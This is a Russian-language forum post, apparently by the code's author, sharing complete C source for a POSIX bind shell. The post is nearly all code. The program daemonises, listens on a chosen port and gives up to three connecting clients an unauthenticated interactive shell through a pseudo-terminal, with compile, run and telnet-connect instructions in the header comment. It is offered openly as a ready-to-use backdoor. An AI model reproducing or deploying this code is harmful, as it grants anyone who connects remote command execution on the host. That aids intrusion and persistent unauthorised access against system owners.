нашел исходник своего биндшелла под posix работающего через псевдо-терминальное устройство, что позволяет работать с такими утилитами как mc, more и т.д. а так же работать с "горячими" клавишами как у настоящего терминала - ctrl-z, ctrl-d, ctrl-c... реализация не новая, но кому интересно с этой темой разобраться можно посмотреть: Code: /* coded by ZaCo compile : gcc -lpthread -lutil bind.c -o bind exec : ./bind 6669 telnet host 6669 */ #define NUM 3 //максимальное количество клиентов #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <sys/time.h> #include <sys/poll.h> #include <fcntl.h> #include <netinet/in.h> #include <unistd.h> #include <signal.h> #include <termios.h> #include <arpa/inet.h> #include <sys/ioctl.h> #define SOCKET int #define INVALID_SOCKET -1 #define SOCKET_ERROR -1 #define MSG_HEADER "bind shell by ZaCo\r\n" #define MSG_ERR_NUM_USERS "max users connections\r\n" #define MSG_BYE "Good bye.\n" #define BUF_SIZE 1024 SOCKET bot,sock; int shared[2]; pid_t child_pid; void set_tattr(int, struct termios *); void client(void); void onTermC(int); void onChild(int); //устанавливаем свойства устройству по дескрептору fg, //сохраняя прежние настройки по указателю old void set_tattr(int fd,struct termios * old) { struct termios t; int res; res=tcgetattr(fd, old); t=*old; if(res<0)return; // cfmakeraw(&t); // t.c_iflag|=IGNCR|ICRNL|IXON; t.c_iflag|=ICRNL|IXON|IGNCR; t.c_iflag&=~(IGNBRK|BRKINT|IGNPAR|PARMRK|INPCK|ISTRIP|INLCR|IXOFF|IXANY|IMAXBEL); // t.c_oflag|=OPOST|ONLCR; t.c_oflag&=~(OCRNL|ONOCR|ONLRET); //t.c_oflag&=~ONOEOT; t.c_lflag|=ISIG|ICANON|IEXTEN|ECHO|ECHOE|ECHOK|ECHOCTL|ECHOKE; t.c_lflag&=~(ECHONL|NOFLSH|TOSTOP|ECHOPRT|PENDIN| ECHO|ECHOE|ECHOK|ECHOCTL|ECHOKE); // t.c_lflag|=ICANON|ISIG; t.c_cflag|=CS8|CREAD; t.c_cflag&=~(PARENB|PARODD|HUPCL|CSTOPB|CLOCAL|CRTSCTS); // t.c_cc[VINTR]=0x03; t.c_cc[VSUSP]=0x1A; t.c_cc[VEOF]=0x04; t.c_cc[VERASE]=0x08; t.c_cc[VMIN]=1; t.c_cc[VTIME]=0; // res=tcsetattr(fd,TCSANOW,&t); if(res<0)return; } //обрабатываем клиента, дочерний процесс void client(void) { char buf[BUF_SIZE]; int rb, num, nfds; struct pollfd dpoll[2]; //для работы с псевдотерминалом int amaster,aslave; struct termios t_master,t_slave; //отправляем banner для рекламы send(sock,MSG_HEADER,strlen(MSG_HEADER),0); //устанавливаем все атрибуты if(openpty(&amaster,&aslave,NULL,NULL,NULL)<0); set_tattr(amaster,&t_master); set_tattr(aslave,&t_slave); ////////////////////// child_pid=fork(); if(child_pid==0) { close(amaster); login_tty(aslave); // execlp("sh","sh",NULL); exit(0); } close(aslave); ////////////////////// dpoll[0].fd=sock; dpoll[0].events=POLLIN; dpoll[1].fd=amaster; dpoll[1].events=POLLIN; // nfds=2; dpoll[0].revents=0; dpoll[1].revents=0; //цикл - пока жив клиент и пока можем читать\писать дочернему процессу == он живой :) int ex=0; while(!ex && poll(&dpoll[0],nfds,-1)>0) { if(dpoll[0].revents&(POLLERR|POLLHUP|POLLNVAL)) ex=1; else if(dpoll[0].revents&POLLIN) { rb=recv(sock,buf,BUF_SIZE,0); if( (rb<=0) || (write(amaster,buf,rb)<=0) )ex=1; } if(dpoll[1].revents&(POLLERR|POLLHUP|POLLNVAL)) ex=1; else if(dpoll[1].revents&POLLIN) { rb=read(amaster,buf,BUF_SIZE); if( (rb<=0) || (send(sock,buf,rb,0)<=0) ) ex=1; } dpoll[0].revents=0; dpoll[1].revents=0; } // kill(child_pid,SIGKILL);//убиваем дочерний процесс шелла //ставим обратно все свойства устройства tcsetattr(amaster,TCSANOW,&t_master); tcsetattr(aslave,TCSANOW,&t_slave); // close(amaster); } // void onTermF(int sid) { if(bot!=0)//не убиваемся ли повторно { shutdown(bot,SHUT_RDWR); close(bot); bot=0; //так как сигнал отправляет всей группе printf(MSG_BYE); kill(0,SIGTERM); } wait(NULL); exit(0); } // void onTermC(int sid) { if(child_pid!=0) { kill(child_pid,SIGKILL); //убиваем дочерний процесс } signal(sid,onTermC); } // void onChild(int sid) { //от зомби wait(NULL); } // int main(int argc, char * argv[]) { if(argc!=2) { puts("port!"); exit(0); } //demon if(fork()>0)exit(0); setsid(); // int port=atoi(argv[1]); struct sockaddr_in addr,cl_addr; socklen_t addr_len=sizeof(struct sockaddr); int num_of_clients=0,rc; char c,first=1; int on; // pipe(shared); on=1; //читаем в асинхронном режиме ioctl(shared[0],FIONBIO,&on); child_pid=0; signal(SIGINT,onTermF); signal(SIGALRM,onTermF); signal(SIGQUIT,onTermF); signal(SIGTERM,onTermF); signal(SIGCHLD,onChild); // if((bot=socket(AF_INET,SOCK_STREAM,0)) && bot!=INVALID_SOCKET) { memset(&addr,sizeof(addr),0); addr.sin_family=AF_INET; addr.sin_port=htons(port); addr.sin_addr.s_addr=0; // struct linger ling; ling.l_onoff=1; ling.l_linger=0; rc=1; setsockopt(bot,SOL_SOCKET,SO_LINGER,&ling,sizeof(struct linger)); setsockopt(bot,SOL_SOCKET,SO_REUSEADDR,&rc,sizeof(rc)); //setsockopt(bot,SOL_SOCKET,SO_REUSEPORT,&rc,sizeof(rc)); if(bind(bot,(const struct sockaddr*)&addr,addr_len)!=SOCKET_ERROR) { if(listen(bot,SOMAXCONN)!=SOCKET_ERROR) { while(1) { sock=accept(bot,(struct sockaddr*)&addr,&addr_len); if(sock!=INVALID_SOCKET) { //проверяем количество подключенных клиентов if(read(shared[0],&c,1)>0) num_of_clients--; if(num_of_clients>=NUM) { send(sock,MSG_ERR_NUM_USERS,strlen(MSG_ERR_NUM_USERS),0); shutdown(sock,SHUT_WR); close(sock); continue; } setsockopt(sock,SOL_SOCKET,SO_LINGER,&ling,sizeof(struct linger)); // getpeername(sock,(struct sockaddr*)&cl_addr,&addr_len); // printf("ip:%s\n",inet_ntoa(cl_addr.sin_addr)); num_of_clients++; child_pid=fork(); if(child_pid==0) { signal(SIGINT,onTermC); signal(SIGALRM,onTermC); signal(SIGQUIT,onTermC); signal(SIGTERM,onTermC); client(); send(sock,MSG_BYE,strlen(MSG_BYE),0); shutdown(sock,SHUT_RDWR); write(shared[1],"\x01",1);//на одного клиента меньше ;) // wait(NULL); exit(0); } } } } } else { printf("bind error.\n"); } shutdown(bot,SHUT_RDWR); close(bot); } else { printf("socket error.\n"); } printf(MSG_BYE); exit(0); }